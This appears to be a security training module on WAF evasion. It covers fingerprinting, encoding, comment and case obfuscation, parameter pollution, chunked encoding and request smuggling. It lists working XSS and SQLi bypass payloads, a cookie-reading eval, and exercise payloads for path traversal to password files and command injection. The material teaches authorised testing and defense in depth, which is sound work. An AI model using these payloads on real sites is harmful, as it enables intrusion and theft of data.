Web Application Firewall (WAF) Bypass Techniques
Understand how WAFs work and how attackers bypass them using encoding, obfuscation, protocol-level tricks, and application-specific evasion — enabling realistic security assessments.
Learning Objectives
- → Understand WAF detection and blocking mechanisms
- → Bypass WAFs using encoding, obfuscation, and case variation
- → Use HTTP-level techniques: chunked encoding, parameter pollution
- → Fingerprint WAF products and apply product-specific bypasses
- → Understand WAF limitations and why defense-in-depth matters
How WAFs Work
WAFs inspect HTTP requests/responses for attack patterns:
Client → WAF → Web Server
↑
Inspection layer:
- Signature matching (regex patterns)
- Anomaly scoring (score thresholds)
- Positive model (only allow known good)
- Rate limiting, bot detection
Detection Methods
1. Signature-based:
Block requests matching regex like:
/<script.*>/i — XSS
/UNION.+SELECT/i — SQLi
/etc\/passwd/ — LFI
2. Anomaly scoring (ModSecurity + OWASP CRS):
Each matched rule adds a score
If score > threshold (e.g., 5) → block
3. Positive security model:
Allowlist only known parameters and formats
Anything outside → block
4. Machine learning / behavioral:
Baseline normal traffic, block anomalies
WAF Fingerprinting
# Wafw00f — identify WAF product
wafw00f https://target.com
# Output: Target is behind Cloudflare WAF
# Manual fingerprinting:
# Send obvious attack: ?q=<script>alert(1)</script>
# Block page varies by WAF:
# Cloudflare: "Ray ID" reference
# AWS WAF: "403 Forbidden" from CloudFront
# ModSecurity: "406 Not Acceptable" or custom error page
# Imperva: branded error page with incident ID
# Check response headers:
curl -I https://target.com
# X-CDN: Imperva
# CF-RAY: cloudflare
# Server: awselb/2.0 (AWS)
Encoding Bypass Techniques
URL Encoding
<script>alert(1)</script>
URL encode: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
UNION SELECT
URL encode: UNION%20SELECT
Double URL encode (bypass double-decode WAF):
< = %3C → %253C
(Application decodes once, WAF decoded differently)
HTML Encoding
<script>alert(1)</script>
HTML entities: <script>alert(1)</script>
In attribute context (browser decodes):
<img src=x onerror="alert(1)">
(a = 'a', etc. — browser interprets HTML entities in event handlers)
Base64 in Context
// eval() decodes base64:
eval(atob("YWxlcnQoMSk=")) // atob("YWxlcnQoMSk=") = "alert(1)"
// In CSP bypass (if unsafe-eval):
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2ll"))</script>
SQL Bypass Encoding
-- Hex encoding (MySQL):
SELECT 0x61646d696e -- hex of "admin"
WHERE username = 0x61646d696e -- no quotes needed!
-- Unicode normalization:
SELECT → SELECT (some DB parsers normalize full-width)
-- Character functions:
WHERE username = CHAR(97,100,109,105,110) -- "admin" in ASCII codes
Obfuscation Techniques
Case Manipulation
-- SQL keywords case-insensitive in most DBs:
SeLeCt * FrOm UsErS WhErE 1=1
UNION select -- might bypass, Union Select works
Comment Injection
-- MySQL inline comments:
UNI/**/ON SEL/**/ECT
UN/*avoid*/ION SEL/*bypass*/ECT
/*!UNION*/ /*!SELECT*/ 1,2,3
-- MySQL version conditional comments:
/*!50000 UNION SELECT */
(executes on MySQL >= 5.0.0)
Whitespace Alternatives
-- Tab, newline, carriage return instead of space:
UNION SELECT
UNION
SELECT
UNION
SELECT
-- Form feed, vertical tab:
UNIONSELECT
UNIONSELECT
Keyword Splitting
UNI(ON) → if WAF matches "UNION" as whole word but not inside paren
se/**/lect → insert comment inside keyword
In some parsers:
UN%00ION → null byte inside keyword
HTTP-Level Bypass
HTTP Parameter Pollution (HPP)
GET /search?q=normal&q=<script>alert(1)</script>
WAF may check first q=normal (safe) → allow
App may use second q=<script>... → XSS executes
PHP: $_GET['q'] = last value
ASP.NET: Request.QueryString['q'] = comma-joined values
Chunked Transfer Encoding
POST /login HTTP/1.1
Transfer-Encoding: chunked
5
admin
5
pass=
0
WAF may not reassemble chunked body — sees incomplete/empty payload.
HTTP Request Smuggling
Frontend (WAF): reads Content-Length
Backend (App): reads Transfer-Encoding
CLTE (Content-Length / Transfer-Encoding):
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
ATTACK PAYLOAD
WAF sees one request; backend processes two — attack payload is second request without WAF inspection.
Content-Type Switching
WAF inspects JSON body for SQLi:
Content-Type: application/json → inspects JSON
Content-Type: application/x-www-form-urlencoded → inspects form
Content-Type: multipart/form-data → may not inspect body
Content-Type: application/xml → WAF may not inspect as SQLi
# If app accepts multiple formats, switch to one WAF doesn't inspect
WAF Bypass for Specific Attacks
XSS WAF Bypass
<!-- Tag filtering bypass — use SVG, Math, Details -->
<svg/onload=alert(1)>
<math><mtext></mtext><mglyph/><svg><mtext></mtext><malignmark/><svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<!-- Attribute bypass -->
<a href="jAvAsCrIpT:alert(1)">click</a> -- case bypass
<a href="javascript:alert(1)"> -- partial entity encode
<!-- Handler bypass (if 'on' filtered) -->
<svg><animate onbegin=alert(1)>
<body onpageshow=alert(1)>
SQLi WAF Bypass
-- UNION SELECT filtered:
UNION ALL SELECT
UNION DISTINCT SELECT
UNUNIONION SESELECTLECT -- if WAF strips UNION and SELECT, results in original
-- Whitespace filtered:
UNION(SELECT(1),(2),(3))
-- OR/AND filtered:
|| -- OR alternative in some DBs
&& -- AND alternative
Defense in Depth
WAF is ONE layer — not the only defense:
✅ WAF: blocks common attacks, reduces attack surface
✅ Parameterized queries: prevents SQLi regardless of WAF
✅ Output encoding: prevents XSS regardless of WAF
✅ CSP: reduces XSS impact even if WAF fails
✅ Input validation: reduces attack surface
A bypassed WAF should not mean a successful attack.
Defense-in-depth ensures each layer independently defends.
Using wafw00f or manual techniques: (1) fingerprint a WAF-protected target (test on a lab that simulates WAF), (2) test 5 basic payloads: , ' OR '1'='1, ../../../etc/passwd, ../../etc/shadow, ; id, (3) for each blocked payload, apply 3 bypass techniques (encoding, case, comments), (4) document which bypass worked and why.
Why is signature-based WAF detection insufficient on its own?
Test HTTP-level bypasses: (1) HTTP parameter pollution: send q=safe&q= — does the WAF check only the first? (2) switch Content-Type from JSON to multipart/form-data — does the WAF still inspect the SQLi payload? (3) send chunked encoding with Attack payload in last chunk — does WAF reassemble? (4) document each finding.
Why does Content-Type switching sometimes bypass WAF inspection?
Write a Python script that tests a given endpoint for WAF bypass: (1) load 10 base payloads (SQLi, XSS, LFI, command injection), (2) for each payload generate 5 variants (URL encode, double encode, case, comment, base64+eval), (3) send each variant and classify: BLOCKED (WAF) / ALLOWED (no WAF) / EXECUTED (vulnerable), (4) generate a report of all bypasses found.
What HTTP status code typically indicates a WAF block?